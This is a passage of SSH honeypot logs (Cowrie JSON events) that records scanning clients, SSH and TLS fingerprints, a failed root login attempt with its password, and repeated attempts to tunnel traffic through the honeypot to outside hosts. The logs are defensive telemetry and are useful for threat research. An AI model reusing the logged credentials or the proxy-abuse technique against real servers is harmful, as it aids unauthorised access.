en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.1.2 Safari/601.2.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SUx1OTRLQFRnUGFAX1NSNg%3D%3DKI7uI8J35J%2FDor2NOFCjA0Lga3oKrI%2BCZbxj3FaobqUCEcrBNyveHwJ8QSqK7KB3xG0qYrxVSCgVhvrSBSsIzVa5lwdYbZH1zH3eGSqyv%2B%2BA5tTThNJwoqCIF0h%2BaFMDl7ZEJkP9nu00U9MijQRXp0RVL2suBDBeJjMIJ1b9nhp1TM75YFwrEjPHWa1NnY1%2BWmu2Hd%2FlIhulmzwiBw8sTa%2FkaX8ytfkAV%2B6sVe%2F%2FR851wt2GvOoyv7zCy7UhWd%2Fafv9P%2FcpWDCDw59i3cDLMP8Jnlm1fAtek7aDAKurGXe626ay%2FOAs881O8lxTmsm7R5%2F2AovIS%2F7eseiwdVe01NAHO2NrTk5Hy5elBJNG%2FoImBRGsHpKIe12OfwHSo8F3sw05n1l81MKNyFSyYsqadYcCMz%2FbQpK2SDcE4M1%2FRrDcnHfTOOXNa%2BIIexaIOkS0%2F6WTnOuCG5SPgYhm26myLwp%2FQPooGBYinwH1pjNyw9tsJ4rCY2q%2B%2Fg5vaQG8DF84bPIxH%2BY6mm5QW4W%2FrJWANGrQ6dptZl3qdAsCG4%2FdNgcGGv3hBeaHc8QoWQiVANEkqrrm6SF4yhT%2BA2WvYfEWsNTYmsjKE1VGJe11LRv2aSxG3AwuNKN3QUpMzx4hhflOObTkZjoQqCrNk5E2ukNKTtlUwTRz1kviw4yFRqyUE%2BjNLF28bTBQXSGqpHz5PahCzK%2BdrykKlAa2Fimy%2BqrOjCstjRTUdOzW6kG7M3kIN2rnRSRtt1VGFNTLsTBOKRpSMqSJMcGQLnQFeB8eBg8xk8LOU8r8FXJ%2F7lslnHfsNv9mtBUjwv5LEFw3zw5yAKVV7O9FSfpqZfMyfb2orbVx3pH98vkdKlBGNEHiBnpCjDi4%2Bz7oKAFtZcsJn0XMy0aHgGA%2ByUwBCjyUNNn8N9UdErcHDSppGTiNm%2FMq2hclwqJLKERP0wNWN0XlvP%2BrofC3PnTSl3iGgaGcXJnKm08gqNKM1z%2BtpahZZ0H9AdeU2rsRXGnauYybAxVqphHoO%2FalNahpTw15osuIEkiG5nDQU8G%2F1iPr1OPrNJ0RmGpy3NC5hMMVBeU%2FWxfFLbksHxhIp'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.264330Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.268045Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'\\xaah\\x8eG\\xc2\\xfa\\x1e\\xff\\xe3\\xbfCxf\"Y\\xe4\\xf3a*\\xeb\\x0b\\x8bT\\xdf\\xb2\\x92\\xc9\\x94\\x986\\xe0 o\\xdf\\xc2\\x08\\xebC\\xde\\xc5\\x83\\xdbRs\\xc7#\\x91\\x8e\\x0bq\\xc9S\\xe8\\xda\\x82\\x0c\\x83\\x88\\xee\\x16\\x98\\xd7\\xc9\\xef\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xca\\xf3\\xde\\x8biT\\xf2\\x8fU\\xebIv\\xe8\\xb5X\\xc4\\x83)\\x8b}\\x00\\xfa\\xa2\\x96\\x87D\\x10\\x81r\\xf3\\xc8\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'\\xaah\\x8eG\\xc2\\xfa\\x1e\\xff\\xe3\\xbfCxf\"Y\\xe4\\xf3a*\\xeb\\x0b\\x8bT\\xdf\\xb2\\x92\\xc9\\x94\\x986\\xe0 o\\xdf\\xc2\\x08\\xebC\\xde\\xc5\\x83\\xdbRs\\xc7#\\x91\\x8e\\x0bq\\xc9S\\xe8\\xda\\x82\\x0c\\x83\\x88\\xee\\x16\\x98\\xd7\\xc9\\xef\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xca\\xf3\\xde\\x8biT\\xf2\\x8fU\\xebIv\\xe8\\xb5X\\xc4\\x83)\\x8b}\\x00\\xfa\\xa2\\x96\\x87D\\x10\\x81r\\xf3\\xc8\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.270361Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33252,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8944ac3bc67","protocol":"ssh","message":"New connection: 80.66.85.226:33252 (10.17.0.5:22) [session: f8944ac3bc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.277174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.286402Z","src_ip":"80.66.85.226","session":"f8944ac3bc67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.363372Z","src_ip":"91.92.40.36","session":"1c8d3e300198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.372662Z","src_ip":"80.66.85.226","session":"f8944ac3bc67","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.552214Z","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfhenj123","message":"login attempt [root/yfhenj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.720366Z","src_ip":"80.66.85.226","session":"f8944ac3bc67","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.829401Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\xab3\\xe4J\\xb9\\ncc\\x99\\xccw\\xd8\\xbdv\\x8e\\xe2MBWsE\\xd6\\xb9\\xee\\xb7UC[d\\xefS Ts\\xd8\\xddaU\\'p\\xdbw\\xda\\xac\\xac\\x1c&\\xb2o\\x91\\xc1\\xa654\\xf4t\\xc1\\x87\\x1f}\\xf7\\x01u\\x86\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 `\\xb1\\x8d\\xbb\\xa2\\x84\\xe6y=]\\xcbs)\\x87\\xd1\\x8cg7\\xde\\xb1\\xdb;f%9x\\xc4\\xd0)s\\x9fm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\xab3\\xe4J\\xb9\\ncc\\x99\\xccw\\xd8\\xbdv\\x8e\\xe2MBWsE\\xd6\\xb9\\xee\\xb7UC[d\\xefS Ts\\xd8\\xddaU\\'p\\xdbw\\xda\\xac\\xac\\x1c&\\xb2o\\x91\\xc1\\xa654\\xf4t\\xc1\\x87\\x1f}\\xf7\\x01u\\x86\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 `\\xb1\\x8d\\xbb\\xa2\\x84\\xe6y=]\\xcbs)\\x87\\xd1\\x8cg7\\xde\\xb1\\xdb;f%9x\\xc4\\xd0)s\\x9fm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.839894Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:53.315635Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49220,"dst_ip":"159.203.135.109","dst_port":22,"session":"424747242a85","protocol":"ssh","message":"New connection: 91.92.40.36:49220 (159.203.135.109:22) [session: 424747242a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:53.443962Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:53.812394Z","src_ip":"80.66.85.226","session":"f8944ac3bc67","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:54.535056Z","src_ip":"91.92.40.36","session":"424747242a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:55.654538Z","src_ip":"91.92.40.36","session":"424747242a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14448,"dst_ip":"159.203.135.109","dst_port":22,"session":"09d0cee95b45","protocol":"ssh","message":"New connection: 91.92.40.36:14448 (159.203.135.109:22) [session: 09d0cee95b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:58.983263Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":50050,"dst_ip":"10.17.0.5","dst_port":22,"session":"20befb26ec4c","protocol":"ssh","message":"New connection: 23.175.50.47:50050 (10.17.0.5:22) [session: 20befb26ec4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:59.380981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:59.385144Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc